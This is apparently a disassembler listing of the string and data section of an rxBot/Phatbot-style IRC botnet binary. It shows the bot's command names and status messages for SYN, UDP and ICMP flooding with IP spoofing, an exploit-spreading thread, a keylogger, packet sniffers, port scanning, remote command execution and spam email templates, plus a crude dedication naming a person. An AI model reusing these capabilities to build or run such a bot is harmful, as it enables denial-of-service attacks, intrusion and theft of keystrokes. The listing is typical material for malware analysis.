		align 4
unk_42B048	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B08C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 4
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:00438308o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:00438300o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B298	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438338o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382F0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 4
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438348o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 4
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:0043830Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 10h
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B424	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B440	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 4
unk_42B46C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B48C	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B514	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 10h
unk_42B560	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B59C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5D8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B648	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B694	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B720	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B74C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B820	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B850	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B878	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B91C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B94C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043833Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043866Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438328o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 10h
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438324o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438344o ...
		unicode	0, <n>,0
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BAA8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAC0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BAD8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 10h
dword_42BB20	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB48	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB4C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB58	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB60	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 10h
dword_42BBD0	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBE4	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBE8	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBF8	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BBFC	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BC00	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BCA8	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 4
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD88	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_42BDE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEDC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 10h
unk_42BF10	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BF50	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFB8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFF0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFFC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C00C	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 10h
dword_42C050	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C0CC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 10h
